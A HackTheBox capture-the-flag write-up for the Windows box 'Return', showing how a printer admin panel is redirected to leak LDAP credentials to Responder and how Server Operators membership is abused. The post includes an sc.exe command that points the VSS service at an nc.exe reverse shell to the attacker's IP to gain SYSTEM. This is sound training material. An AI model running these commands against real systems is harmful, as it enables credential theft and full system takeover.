HTB: Return
← Back to the log
December 2, 2026·Johnytiger

HTB: Return

A printer admin panel will happily send its saved LDAP credentials to whatever server we point it at, Responder catches them in cleartext, and the account's Server Operators membership lets us hijack the VSS service for a SYSTEM shell.

securityctfwriteuphacktheboxwindowsactive directoryresponderevil-winrmserver operatorsprivilege escalation

Return is a Windows Active Directory box from HackTheBox. A printer admin panel hands us a service account's password in cleartext, and that account's Server Operators membership takes us to SYSTEM by hijacking a service. Let's get into it.

Recon

Kicking things off with an nmap scan, we can see we have a bit of an Active Directory machine going on here: DNS, Kerberos, LDAP on the return.local domain, WinRM on 5985, and a web app running on port 80 titled HTB Printer Admin Panel.

nmap scan of Return showing Kerberos, LDAP for return.local, WinRM on 5985 and IIS on 80 titled HTB Printer Admin Panel.

Let's go ahead and visit that site, but before we do, let's add return.local to our hosts file.

Printer admin panel to cleartext creds

Heading over to port 80 we find a printer admin page. Over on the Settings tab we can see there's a svc-printer user on the server printer.return.local, so let's add that to our hosts file too and note down the user.

The printer admin Settings page shows server printer.return.local on port 389 with the username svc-printer and a masked password.

The printer uses these saved credentials to connect to LDAP on port 389 at whatever Server Address is set. If we swap that address for our own IP and hit Update, the printer will send its credentials to us instead. Let's pop open Responder, which runs its own LDAP listener, and hit it from this printer app:

sudo responder -I tun0

Responder catches an LDAP bind from the box with the cleartext username return svc-printer and its password.

We got some credentials: svc-printer with the password 1edFg43012!!. Great, let's note these down and run enum4linux-ng against the target with them.

enum4linux-ng authenticated as svc-printer lists the domain users and groups on printer.return.local.

We got a hit, lots of info to work with here. We now know these credentials work against printer.return.local, so let's use netexec and see if we have WinRM access:

nxc winrm printer.return.local -u 'svc-printer' -p '1edFg43012!!'

nxc winrm against printer.return.local returns Pwn3d for svc-printer.

It's another hit! Great, let's log into the machine with evil-winrm.

evil-winrm -i printer.return.local -u 'svc-printer' -p '1edFg43012!!'

evil-winrm shell as return svc-printer, with the privileges list showing SeBackupPrivilege, SeLoadDriverPrivilege and more enabled.

Enumerating svc-printer

We are in, and checking our privileges we see we have a good amount to work with. Let's see if we have any ACL angles here. We will use bloodyAD for this:

bloodyAD --host printer.return.local -d return.local -u svc-printer -p '1edFg43012!!' get writable

bloodyAD get writable shows create-child and write rights on a few containers and on our own user object.

Looks like we have a few things here, but nothing of interest at the moment. Let's check our group memberships:

net user svc-printer /domain

net user svc-printer shows local group memberships in Print Operators, Remote Management Users and Server Operators.

We're in the Server Operators group, and we can abuse this. Server Operators can reconfigure, start and stop services on the domain controller, and a lot of those services run as SYSTEM.

Before we move forward, user.txt is sitting on the desktop of the svc-printer user.

The svc-printer desktop holds user.txt.

Privesc: Server Operators service hijack

OK, now let's upload netcat with our WinRM shell:

upload nc.exe

evil-winrm uploads nc.exe to the svc-printer desktop.

We start up a listener on 4444 and point a service back at it. VSS (Volume Shadow Copy) is a good candidate: sc.exe qc shows it runs as LocalSystem. We swap its binary path for our netcat callback:

sc.exe qc VSS
sc.exe config VSS binpath= "C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.14.211 4444"

sc.exe qc shows VSS runs as LocalSystem, and sc.exe config points its binary path at nc.exe while a listener waits on 4444.

Nothing happened. I figured it was egress and switched the payload over to port 443, but the real issue was simpler: changing the binary path doesn't run anything, so we have to start VSS for it to work.

sc.exe config VSS binpath= "C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.14.211 443"
sc.exe start VSS

The listener on 443 catches the callback and whoami returns nt authority system.

We are in as nt authority\system! Great, now let's head over to the Administrator desktop and grab that root.txt flag.

root.txt read from the Administrator desktop, flag value blurred.

Closing thoughts

This box was pretty easy. The shell kept dropping at the end with the nc shell, but other than that it was fairly simple, and I can imagine finding this in the real world. The drops make sense: nc.exe isn't a real service, so Windows kills it after about 30 seconds when it never reports back as started. If you need a stable shell, use that first one to launch a second, independent one right away.

End of transmissionAll posts
Drive
Johnytiger
HTB: Return · Johnytiger